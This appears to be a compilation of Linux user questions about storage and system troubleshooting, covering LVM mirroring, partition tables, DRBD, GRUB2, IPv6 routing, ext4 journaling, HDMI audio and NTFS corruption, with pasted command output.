  I am trying to migrate my data on lvm to two new disks, and setup mirroring between the two. I have successfully migrated all of the data to the first of the two disks, leaving the second one completely available as a mirror. I verified this using pvdisplay -m /dev/sd{g,h}1 --- Physical volume --- PV Name /dev/sdg1 VG Name vg PV Size 931.51 GiB / not usable 3.19 MiB Allocatable yes PE Size 4.00 MiB Total PE 238466 Free PE 82866 Allocated PE 155600 PV UUID v2nc3j-EFBR-QpuG-xgro-Rm59-fmu6-IB3QcR --- Physical Segments --- Physical extent 0 to 49999: Logical volume /dev/vg/videos Logical extents 0 to 49999 Physical extent 50000 to 99999: Logical volume /dev/vg/home Logical extents 0 to 49999 Physical extent 100000 to 129999: Logical volume /dev/vg/music Logical extents 0 to 29999 Physical extent 130000 to 155599: Logical volume /dev/vg/videos Logical extents 50000 to 75599 Physical extent 155600 to 238465: FREE --- Physical volume --- PV Name /dev/sdh1 VG Name vg PV Size 931.51 GiB / not usable 3.19 MiB Allocatable yes PE Size 4.00 MiB Total PE 238466 Free PE 238466 Allocated PE 0 PV UUID LuTrem-WcsZ-qw7l-2CDS-lLKI-wdq0-QEXhLf --- Physical Segments --- Physical extent 0 to 238465: FREE Then when I try to mirror the home logical volume for example, it says that I do not have sufficient space. I used lvconvert -m1 vg/home and the output was: Insufficient suitable allocatable extents for logical volume : 50000 more required Unable to allocate extents for mirror(s). This puzzling to me because it appears as if there is plenty of space on the second disk to mirror. Is there something I have done wrong here? Or is there a way to explicitly tell LVM where to put each leg of the mirror? I'm using lvm2.

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• Access to File being restricted after Ubuntu crashed

  - by Tim

  My Ubuntu 8.10 crashed due to the overheating problem of the CPU when I am opening some directory and intend to do some file transfer under Nautilus. After reboot, under gnome, all the files cannot be removed, their properties cannot be viewed and they can only be opened, although all are still fine under terminal. I was wondering why is that and how can I fix it? Thanks and regards UPdate $ cat /etc/mtab /dev/sda7 / ext3 rw,relatime,errors=remount-ro 0 0 tmpfs /lib/init/rw tmpfs rw,nosuid,mode=0755 0 0 /proc /proc proc rw,noexec,nosuid,nodev 0 0 sysfs /sys sysfs rw,noexec,nosuid,nodev 0 0 varrun /var/run tmpfs rw,nosuid,mode=0755 0 0 varlock /var/lock tmpfs rw,noexec,nosuid,nodev,mode=1777 0 0 udev /dev tmpfs rw,mode=0755 0 0 tmpfs /dev/shm tmpfs rw,nosuid,nodev 0 0 devpts /dev/pts devpts rw,noexec,nosuid,gid=5,mode=620 0 0 fusectl /sys/fs/fuse/connections fusectl rw 0 0 lrm /lib/modules/2.6.27-15-generic/volatile tmpfs rw,mode=755 0 0 /dev/sda8 /home ext3 rw,relatime 0 0 /dev/sda2 /windows-c vfat rw,utf8,umask=007,gid=46 0 0 /dev/sda5 /windows-d fuseblk rw,allow_other,blksize=4096 0 0 securityfs /sys/kernel/security securityfs rw 0 0 binfmt_misc /proc/sys/fs/binfmt_misc binfmt_misc rw,noexec,nosuid,nodev 0 0 gvfs-fuse-daemon /home/tim/.gvfs fuse.gvfs-fuse-daemon rw,nosuid,nodev,user=tim 0 0

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• Ubuntu 12.04/12.10 can't detect windows or any other partitions(Asus z77 UEFI BIOS)

  - by user971155

  I've recently completed tinkering my new pc(motherboard ASUS z77 with UEFI BIOS) and unfortunately not everything works quite well. After installing windows 7 ultimate on a single primary partition(SATA drive) I decided to allocate one more logical partition for additional needs. When I tried doing it with the manager - it said that it couldn't allocate requested size even though I certainly asked for much less than it was available. I thought that it might have been a windows issue and proceded to installing Ubuntu 12.10 x64. When the graphical interface loaded it showed me a message stating that it can't find any other operating system on the drive. When I used custom partioning option it showed me none of my current partions(including that with windows). However, when I boot with "Try Ubuntu" feature it does find them ! I find it weird though. Here's what the console present me with: ubuntu@ubuntu:~$ sudo os-prober /dev/sda1:Windows 7 (loader):Windows:chain ubuntu@ubuntu:~$ sudo fdisk -l Disk /dev/sda: 640.1 GB, 640135028736 bytes 255 heads, 63 sectors/track, 77825 cylinders, total 1250263728 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x00072b98 Device Boot Start End Blocks Id System /dev/sda1 * 2048 206847 102400 7 HPFS/NTFS/exFAT /dev/sda2 206848 100020223 49906688 7 HPFS/NTFS/exFAT /dev/sda3 100022270 1250263039 575120385 5 Extended /dev/sda4 566669312 1250263039 341796864 83 Linux I also tried creating partitions from disk utility which results in error: , Error creating partition: helper exited with exit code 1: In part_add_partition: device_file=/dev/sda, start=51211402240, size=1923000000, type=0x83 Entering MS-DOS parser (offset=0, size=640135028736) MSDOS_MAGIC found looking at part 0 (offset 1048576, size 104857600, type 0x07) new part entry looking at part 1 (offset 105906176, size 51104448512, type 0x07) new part entry looking at part 2 (offset 51211402240, size 588923274240, type 0x05) Entering MS-DOS extended parser (offset=51211402240, size=588923274240) readfrom = 51211402240 MSDOS_MAGIC found Exiting MS-DOS extended parser looking at part 3 (offset 290134687744, size 349999988736, type 0x83) new part entry Exiting MS-DOS parser MSDOS partition table detected containing partition table scheme = 1 got it Error: Can't have overlapping partitions. ped_disk_new() failed Here's what I get when I try to install the system i.stack.imgur.com/pjlb9.png, i.stack.imgur.com/g1lXN.png P.S. It's strange that I even can't create any more partitions neither with disk-utility nor with windows 7 native tools

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• DRBD setup problem

  - by cuthieu

  I'm so new to DRBD, please help me fixing the problem below. Enclosed my drbd.conf. Many thanks [root@skonkwerks1 ~]# drbdadm create-md all open(/dev/hdb3) failed: No such file or directory Command 'drbdmeta /dev/drbd0 v08 /dev/hdb3 internal create-md' terminated with exit code 20 drbdsetup exited with code 20 [root@skonkwerks1 ~]# vi /etc/drbd.conf global { usage-count no; } resource repdata { protocol C; startup { wfc-timeout 0; degr-wfc-timeout 120; } disk { on-io-error detach; } # or panic # net { cram-hmac-alg "hdd1"; shared-secret "testing"; } syncer { rate 10M; } on skonkwerks1 { device /dev/drbd0; disk /dev/hdb1; address 172.29.156.1:7788; meta-disk internal; } on skonkwerks2 { device /dev/drbd0; disk /dev/hdb1; address 172.29.156.2:7788; meta-disk internal; } }

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• Dual-booting Ubuntu and Pardus with GRUB2...Pardus no show?

  - by Ibn Ali al-Turki

  I have Ubuntu 10.10 installed and used to dual-boot Fedora, but I replaced Fedora with Pardus. After the install, I went into ubuntu, and did a sudo update-grub. It detected my Pardus 2011 install there. When I rebooted, it did not show up in my grub2 menu however. I went back to Ubuntu and did it again...then checked the grub.cfg, and it is not there. I have read that Pardus uses a grub legacy. How can I get Pardus into my grub2 menu? Thanks! sudo fdisk -l Disk /dev/sda: 500.1 GB, 500107862016 bytes 255 heads, 63 sectors/track, 60801 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0xd9b3496e Device Boot Start End Blocks Id System /dev/sda1 * 1 15197 122067968 83 Linux /dev/sda2 36394 60802 196059757 5 Extended /dev/sda3 15197 30394 122067968 83 Linux /dev/sda5 36394 59434 185075308 7 HPFS/NTFS /dev/sda6 59434 60802 10983424 82 Linux swap / Solaris Partition table entries are not in disk order and update-grub Found linux image: /boot/vmlinuz-2.6.35-25-generic Found initrd image: /boot/initrd.img-2.6.35-25-generic Found memtest86+ image: /boot/memtest86+.bin Found Pardus 2011 (2011) on /dev/sda3 Yet after this, I go to grub.cfg, and Pardus is not there.

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• Default IPv6 route on debian squeeze does not come up after boot

  - by Georg Bretschneider

  I have a problem with my default IPv6 route not coming up after boot on a Debian Squeeze system. This is my config (/etc/network/interfaces): # Loopback device: auto lo iface lo inet loopback iface lo inet6 loopback # device: br0 auto br0 iface br0 inet static bridge_ports eth0 bridge_fd 0 address 88.198.62.xx broadcast 88.198.62.63 netmask 255.255.255.224 gateway 88.198.62.33 up route add -net 88.198.62.32 netmask 255.255.255.224 gw 88.198.62.33 br0 iface br0 inet6 static address 2a01:4f8:131:10x::2 netmask 64 gateway 2a01:4f8:131:100::1 up route -A inet6 add 2a01:4f8:131:100::1/59 dev br0 My inet comes up alright, but I have to exec the route command manually after boot to make IPv6 work. Otherwise I can't even reach my gateway. This is the output of ip -6 route show after boot: 2a01:4f8:131:10x::/64 dev br0 proto kernel metric 256 mtu 1500 advmss 1440 hoplimit 4294967295 unreachable fe80::/64 dev lo proto kernel metric 256 error -101 mtu 16436 advmss 16376 hoplimit 4294967295 fe80::/64 dev br0 proto kernel metric 256 mtu 1500 advmss 1440 hoplimit 4294967295 fe80::/64 dev eth0 proto kernel metric 256 mtu 1500 advmss 1440 hoplimit 4294967295 I already tried it with: up ip -6 route add 2a01:4f8:131:100::1 dev br0 up ip -6 route add default via 2a01:4f8:131:100::1 dev br0 in /etc/network/interfaces, but with the same results. If I execute those commands manually on my shell, everything starts working nicely. And yes, I tried with post-up instead of up, too. Only other changes I made was to activate ip forwarding for IPv6, because I want to run some LXC containers on that system.

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• Will these instructions work when turning of journaling on an ext4 SSD?

  - by snowlord

  I have an Acer Aspire One with an SSD for storage. I recently installed Ubuntu on it and chose ext4 for my filesystem. Then I read that journaling on an SSD isn't the best idea, so I will try to disable journaling and I have found these intstructions (from http://fenidik.blogspot.com/2010/03/ext4-disable-journal.html): # Create ext4 fs on /dev/sda10 disk mkfs.ext4 /dev/sda10 # Enable writeback mode. This mode will typically provide the best ext4 performance. tune2fs -o journal_data_writeback /dev/sda10 # Delete has_journal option tune2fs -O ^has_journal /dev/sda10 # Required fsck e2fsck -f /dev/sda10 # Check fs options dumpe2fs /dev/sda10 |more For more performance add fstab opions: data=writeback,noatime,nodiratime i.e: /dev/sda10 /opt ext4 defaults,data=writeback,noatime,nodiratime 0 0 I will use them on my boot partition. Are there any particularly bad parts here, or are there any missing steps? Will my boot partition be fit for being on an SSD after this? Or should I consider switching to ext2, or even reinstall it all and choose ext2 at partitioning time (I'd rather not though, since I've configured quite some stuff already)?

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• How can I make sound over hdmi in kubuntu work?

  - by user32509

  I have used a hdmi cable to connect my lcd (which is connected with my speakers) with my nvida 275 gtx grafic card. I can not get the sound output to work. The hardware itself is working probably - I tested it under windows. Currently I am running Kubuntu 9.10 64 with Nvidia 190.53. The sound output worked fine before I installed the hdmi connection. (German output - i can change it, if you tell me how :)) aplay -l **** Liste von PLAYBACK Geräten **** Karte 0: Intel [HDA Intel], Gerät 0: ALC889A Analog [ALC889A Analog] Untergeordnete Geräte: 1/1 Untergeordnetes Gerät '0: subdevice #0 Karte 0: Intel [HDA Intel], Gerät 1: ALC889A Digital [ALC889A Digital] Untergeordnete Geräte: 1/1 Untergeordnetes Gerät '0: subdevice #0 aplay -L front:CARD=Intel,DEV=0 HDA Intel, ALC889A Analog Front speakers surround40:CARD=Intel,DEV=0 HDA Intel, ALC889A Analog 4.0 Surround output to Front and Rear speakers surround41:CARD=Intel,DEV=0 HDA Intel, ALC889A Analog 4.1 Surround output to Front, Rear and Subwoofer speakers surround50:CARD=Intel,DEV=0 HDA Intel, ALC889A Analog 5.0 Surround output to Front, Center and Rear speakers surround51:CARD=Intel,DEV=0 HDA Intel, ALC889A Analog 5.1 Surround output to Front, Center, Rear and Subwoofer speakers surround71:CARD=Intel,DEV=0 HDA Intel, ALC889A Analog 7.1 Surround output to Front, Center, Side, Rear and Woofer speakers iec958:CARD=Intel,DEV=0 HDA Intel, ALC889A Digital IEC958 (S/PDIF) Digital Audio Output null Discard all samples (playback) or generate zero samples (capture) pulse Playback/recording through the PulseAudio sound server And i disabled mute in kmix an all channels :)

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• Corrupted NTFS Drive showing multiple unallocated partitions

  - by volting

  My external hdd with a single NTFS partition was accidentaly plugged out (kids!)... and is now corrupted. Iv tried running ntfsfix - with no luck - output below.. When I look at the disk under disk management in Windows 7 it shows up as having 5 partitions 2 of which are unallocated - none have drive letters and it is not possible to set any (that option and most others are greyed out) - so I can't run chkdsk /f Iv tried using Minitool partition wizard which was mentioned as a solution to another similar question here. It showed the whole drive as one partition, but as unallocated, and the option -- "Check File System" was greyout. Is there anything else I could try ? Output of fdisk -l Disk /dev/sdb: 1500.3 GB, 1500299395072 bytes 255 heads, 63 sectors/track, 182401 cylinders, total 2930272256 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytest I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x69205244 This doesn't look like a partition table Probably you selected the wrong device. Device Boot Start End Blocks Id System /dev/sdb1 ? 218129509 1920119918 850995205 72 Unknown /dev/sdb2 ? 729050177 1273024900 271987362 74 Unknown /dev/sdb3 ? 168653938 168653938 0 65 Novell Netware 386 /dev/sdb4 2692939776 2692991410 25817+ 0 Empty Partition table entries are not in disk order Output of ntfsfix me@vaio:/dev$ sudo ntfsfix /dev/sdb Mounting volume... ntfs_mst_post_read_fixup_warn: magic: 0xffffffff size: 1024 usa_ofs: 65535 usa_count: 65534: Invalid argument Record 0 has no FILE magic (0xffffffff) Failed to load $MFT: Input/output error FAILED Attempting to correct errors... ntfs_mst_post_read_fixup_warn: magic: 0xffffffff size: 1024 usa_ofs: 65535 usa_count: 65534: Invalid argument Record 0 has no FILE magic (0xffffffff) Failed to load $MFT: Input/output error FAILED Failed to startup volume: Input/output error Checking for self-located MFT segment... ntfs_mst_post_read_fixup_warn: magic: 0xffffffff size: 1024 usa_ofs: 65535 usa_count: 65534: Invalid argument OK ntfs_mst_post_read_fixup_warn: magic: 0xffffffff size: 1024 usa_ofs: 65535 usa_count: 65534: Invalid argument Record 0 has no FILE magic (0xffffffff) Failed to load $MFT: Input/output error Volume is corrupt. You should run chkdsk. Options available with MiniTool: Related questions: How to fix a damaged/corrupted NTFS filesystem/partition without losing the data on it? Repair corrupted NTFS File System

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